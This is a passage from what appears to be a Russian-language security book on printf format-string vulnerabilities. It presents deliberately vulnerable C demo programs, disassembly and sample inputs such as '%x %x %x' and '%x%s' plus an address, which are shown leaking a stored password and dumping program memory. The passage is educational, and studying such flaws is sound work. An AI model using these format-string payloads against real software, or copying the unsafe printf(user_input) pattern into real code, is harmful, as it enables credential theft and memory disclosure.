·.text:004010CD loc_0_4010CD:; CODE XREF: main+2Ej
·.text:004010CD mov esp, ebp
·.text:004010CD ; Закрытие кадра стека, освобождение локальных переменных
·.text:004010CF pop ebp
·.text:004010CF ; Восстановление регистр EBP
·.text:004010D0 retn
·.text:004010D0 ; Выход из-под программы
·.text:004010D0 main endp
·
Таким образом, состояние стека на момент вызова функции pritnf следующее (передаваемый аргумент выделен жирным шрифтом):
· -0x04 var_34 (buff)
· 0x00 var_54 (_pass)
· -0x10 var_44 (pass)
· -0x20 var_34 (buff)
· -0x40 var_14 (psw)
· -0x44 var_10 (user)
Если спецификаторов окажется больше, чем параметров, то функция начнет читать… содержимое буфера, в котором находится оригинальный пароль! По чистой случайности он оказался на верхушке стека, но даже если бы он был расположен ниже, это бы не изменило положения вещей, поскольку функции “printf “доступен весь кадр стека.
В программе функция вызывается без спецификаторов «printf( amp;buff[0])», но, ей передается указатель на начало буфера buff, который содержит сырую, не фильтрованную строку, введенную пользователем в качестве пароля, а она может содержать все что угодно, в том числе и спецификаторы.
Следующий эксперимент демонстрирует, как можно использовать такую ошибку программиста для проникновения в систему (то есть, подсматривания эталонного пароля, считанного из файла):
· buff.printf.exe
· printf bug demo
· Login:kpnc
· Passw:%x %x %x
· Invalid password: 5038394b a2a4e 2f4968
Для «расшифровки» ответа программы необходимо перевернуть каждое двойное слово, поскольку в микропроцессорах Intel младшие байты располагаются по меньшим адресам. В результате этого получается следующее:
Рисунок 017.txt Расшифровка ответа программы
Таким образом, искомый пароль равен “K98PN*”. Если ввести его в программу (с соблюдением регистра), то результат ее работы должен выглядеть так:
· buff.printf.exe
· printf bug demo
· Login:kpnc
· Passw:K98PN*
· Password ok
Попытка использования спецификатора “%s” приведет вовсе не к выводу строки в удобно читаемом виде, а аварийному завершению приложения. Это продемонстрировано на рисунке, приведенном ниже:
Рисунок 075 Реакция системы на использование спецификатора %s
Такое поведение объясняется тем, что функция, встретив спецификатор “%s”, ожидает увидеть указатель на строку, а не саму строку. Поэтому, происходит попытка обращения по адресу 0x5038384B (“K98PN” в символьном представлении), который находится вне пределов досягаемости программы, что и вызывает исключение.
Спецификатор “%s” пригоден для отображения содержимого указателей, которые так же встречаются в программах. Это можно продемонстрировать с помощью следующего примера [318] (на диске, прилагаемом к книге, он содержится в файле “/SRC/buff.printf.%s.c”):
· #include «stdio.h»
· #include «string.h»
· #include «malloc.h»
·
· void main()
· {
· FILE *f;
· char *pass;
· char *_pass;
· pass= (char *)malloc(100);
· _pass=(char *)malloc(100);
· if (!(f=fopen("buff.psw","r"))) return;
· fgets(_pass,100,f);
· _pass[strlen(_pass)-1]=0;
· printf("Passw:");fgets(pass,100,stdin);
· pass[strlen(pass)-1]=0;
· //…
· printf(pass);
·}
На этот раз буфера размещены не в стеке, а в куче, области памяти выделенной функцией malloc, и в стеке считанного пароля уже не содержится. Однако вместо самого буфера в стеке находится указатель на него! Используя спецификатор “%s”, можно вывести на экран строку, расположенную по этому адресу. Например, это можно сделать так:
· buff.printf.%s.exe
· Passw:%s
· K98PN*
Кроме того, с помощью спецификатора “%s” можно получить даже код (и данные) самой программы! Другими словами, существует возможность прочитать содержимое любой ячейки памяти, доступной программе. Это происходит в том случе, когда строка, введенная пользователем, помещается в стек (а это происходит очень часто). Пример, приведенный ниже, как раз и иллюстрирует такую возможность (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.pritnf.dump.c”):
· #include «stdio.h»
· #include «string.h»
·
· void main()
· {
· char buff[16];
· printf("printf dump demo\n");
· printf("Login:");
· fgets( amp;buff[0],12,stdin);
· buff[strlen(buff)-1]=0;
· printf(buff);
·}
·
Строка “%x%sXXXX” выдаст на экран строку, расположенную по адресу “XXXX”. Спецификатор “%x” необходим, чтобы пропустить четыре байта, в которых расположена подстрока “%x%s”. На сам же адрес “XXXX” наложены некоторые ограничения. Так, например, с клавиатуры невозможно ввести символ с кодом нуля.
Следующий пример выдает на экран содержимое памяти, начиная с адреса 0x401001 в виде строки (то есть, до тех пор, пока не встретится нуль, обозначающий завершение строки). Примечательно, что для ввода символов с кодами 0x1, 0x10 и 0x40 оказывается вполне достаточно клавиши Ctrl.
· buff.printf.dump.exe
· printf dump demo
· Login:%x%s^A^P@
· 73257825 ЛьГь>h0`@O>@
Четыре первые байта ответа программы выданы спецификатором “%x", а последние представляют собой введенный указатель. А сама строка расположена с пятого по тринадцатый байт. Если ее записать в файл и дизассемблировать, например, с помощью qview, то получится следующее (последний байт очевидно равен нулю, поскольку именно он послужил концом строки):
· 00000020: 8BEC mov ebp,esp
· 00000022: 83EC10 sub esp,00000010
· 00000025: 6830604000 push 00406030
А вот как выглядит результат дизассемблирования файла demo.printf.dump.exe с помощью IDA:
· text:00401000 sub_0_401000 proc near; CODE XR
· text:00401000
· text:00401000 var_11 = byte ptr -11h
· text:00401000 var_10 = byte ptr -10h
· text:00401000
· text:00401000 55 push ebp